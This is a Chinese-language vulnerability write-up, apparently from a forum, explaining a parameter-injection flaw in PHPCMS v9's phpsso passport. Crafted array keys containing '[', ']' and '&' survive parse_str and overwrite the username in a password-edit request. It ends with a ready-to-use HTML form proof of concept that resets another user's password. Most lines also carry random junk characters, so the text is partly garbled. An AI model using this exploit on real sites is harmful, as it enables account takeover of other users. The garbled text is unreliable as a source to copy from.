提到的通行证的代码:: _6 [0 s6 z" X9 c) j7 Z# f( c3 m4 y
3 p- J1 J$ z. ~9 O1 g0 Z9 X; r# @* G" }6 x
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);% M7 C: i% Z/ N1 w
. R5 Z4 H- N' Q6 i- |- b' I% M在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。) s4 q) f/ u! B e
2 P1 e: @9 Z K6 p/ e
我把它留给了你们。
1 W$ b0 g6 A; _- j6 U不知道你们发现了它没有。* Z ~9 m7 U7 H" @ W; e
# M, L6 s9 g, m+ }, N; ]
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
' y# O6 T m n* j. a! {, D0 \- ^1 c6 l- a$ O/ D% W$ ~, Z
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
{) ^6 z1 C5 M2 q% u1 M* F0 |
" r# ?: ?8 W+ c4 X* L; G也就是
$ m% u o" \0 G" O3 ?0 F w( s3 J s9 |" c- X6 o/ |& k
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
* J; r3 @8 @' c |1 o u1 ?$ F8 t7 p! Z- R1 b/ X
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。* E4 E4 Q! T" l0 e7 V$ a
* Z5 n! _# Q( f' I- p& b
2 k5 y8 [$ s1 U, Q# a8 |4 ^其实我们有这样的机会,看看代码,如下:
a1 R3 j ^$ `7 R3 a0 }- |. v3 R) t- p
6 K+ \3 B9 P) _+ \
public function auth_data($data) {
5 p% F+ [/ ~- f$ q9 h- d# F $s = $sep = '';
6 Z) U( Z0 R# ^4 s: _1 G/ { foreach($data as $k => $v) {* L! C; Z: b ^( Y! W; @. A2 u' d
if(is_array($v)) {/ L' `+ I. k6 L7 g8 d4 }% O3 \
$s2 = $sep2 = '';; ]; t7 W( d0 z3 N; t8 n! @
foreach($v as $k2 => $v2) {
7 G2 ]" L5 {8 _ $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
2 k- {" f2 C0 ~0 \! M* A $sep2 = '&';
+ Z8 X* q9 w0 W5 S7 d% X }
; i7 F9 B+ n- q% E: Q; S" L8 E $s .= $sep.$s2;* C; C0 C( k0 R9 p3 J) p: a
} else {7 q+ n+ q% N- m/ V9 @$ ^
$s .= "$sep$k=".$this->_ps_stripslashes($v);. B( Y6 E) U7 O' j/ d
}8 G( q9 g! b% S1 U. B
$sep = '&';6 u+ t$ T2 \# r' e7 y! P
}% l* S9 a" M) L6 U8 H% N. A
" K z8 i9 u7 v$ P( W $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
5 f; K; |8 M2 D# V. N# k. a- a return $auth_s;
3 D4 W" o5 G* r$ {$ w$ y* S }
5 d- x* L- O @) M" Z5 j/ m/ J; S- C; C2 |3 L+ m) K4 h
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。& }5 o2 _* Y& X$ W7 m
! N I, x# `9 l8 z I: t举个例子' _% t- S; W2 W5 O4 x1 I
% [$ ~: V; ^% z$ H$ t$ C5 _, s
$a[aaa=a&bbb] = 'a';* B ~2 _" W! r9 c
& K. f3 }7 |" i, a$ [4 ]$ l
会变成aaa=a&bbb=a5 P/ W6 V% B. I q/ a. z, o1 ~) Q
* U! D" y6 I+ w明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。3 D/ f; |! c7 T# P# ~
5 @+ L \6 w2 t0 |
这个时候,我们可以再去看一个函数。
% B) A" }) e0 H( W' m# `) V' x4 G7 _( l" `) K
就在这个文件内:& h1 B- s7 ]/ I5 Q4 S, ~/ p
A b# A# g. B5 W( V: f( m. X% t
% Y1 V# l# z8 y) |5 y3 O/ f( rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {* `5 j. |9 H# @# A! d6 @
if($email && !$this->_is_email($email)) {' z- I' | P8 Z+ E6 ^$ S
return -4;
5 h$ e; ]: j0 P6 t, W& U4 ~ }
6 O4 M; y+ ^0 O& s& r- @- S return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
7 h0 @1 E4 t1 i) N$ k6 i' o$ A }
# }1 }3 y( x/ ]: U+ ~4 b* Y/ f' A6 I9 k' l* M7 \0 w
这是向通行证发了这样一个请求。. k. ^9 E( T5 I1 @& F
) b% x- P" G% ^, I我们再跟到通信证代码里去看看,就会有所发现。
. Z5 j. j' }' h* h0 f% I+ V" Q4 X; J z3 s+ Y* l! E
6 k7 S' r+ ?1 o
public function edit() {
' c' {' l5 b( \0 l) E. c7 F' ?0 X5 [//能省就省,太长了不是吗? {% P3 a$ _9 A5 s' ~8 q
1 }& e( x2 n7 Z5 _# vif($this->username) {
/ I0 Z5 D& v E* T//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
- f8 k! y& J4 K. u+ E. r k $res = $this->db->update($data, array('username'=>$this->username));' Y( k1 l' V6 Z; D; D, F
} else {6 `7 O4 U* k) V; g0 O K
file_put_contents('typeb.txt',print_r($data,1).$this->uid);7 M7 I) e% s l$ r/ g c7 E
$res = $this->db->update($data, array('uid'=>$this->uid));& G G1 h, o& Z; q
}! C7 v9 P3 n! |6 Z& v7 E0 d
6 s3 P( a/ D4 ^+ o/ m% P
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:/ R, r+ I9 j8 Y7 ~, @* k) N
0 ]1 [, e Z/ R, d6 ~' q; }
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random=''): w* X- f) k) ^
: W% d* q' r; f# V% C e g很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
' s& t! a! x0 O: j
3 _8 K1 s5 ?' x# m9 v1 N& S3 X4 F+ |我当然找到了:5 l+ R6 x% H k' c4 l& H/ L4 j. _# R
phpcms9/phpcms/modules/member/index.php! b, Y2 t$ \3 p6 ]. C2 D
$ g0 J" {- m* c' n* ?$ b) }
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);, |/ g: b- Z5 a
0 l5 i1 P! d: ?% `% j: X, G然后就没有然后了。) a8 q- Z1 `8 c, p& n6 ]
0 q9 y- b* x2 ]& w
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
" |' f) j' f3 U( K( X9 d <table width="100%" cellspacing="0" class="table_form">
# _, `7 k c( K3 y <tr>
) e' l3 c! }6 x& X& N8 X <th width="80">邮箱:</th> ) V1 P- b. t6 O2 x9 a7 c! A
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
( S; B* h2 p2 s* `1 {9 G </tr>/ l7 n5 o4 E, q) O: f* I3 _. ^9 g
<tr>
; t8 k& l! o6 }3 P) l6 e! K4 ^ <th width="80">原密码:</th> 4 t* i& Y0 y1 X0 Z
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
5 }4 u& G. T+ ]7 f' V) Q/ E </tr>( j' b& [1 c3 `
<tr>
( q& r, t' N( y' b, D: A <th>新密码:</th>! m! d0 w. Q) P8 l5 w7 H
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>6 X0 T% Q0 O( s/ P; J& ^- _
</tr>1 m. w: \; B: A
<th></th>
& [8 M+ u; H( V( s7 k. U <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>2 k2 {) ]* v: a1 d, H D; x0 p
</tr>/ e1 s6 ?* U' d0 \; q" K
</table>/ [3 d. i' B# D$ y, L% n
, X: v" R+ G$ r' S) j
: T- {( g4 s$ ^5 B </form>2 C0 s3 x* j! ^9 @1 Z
|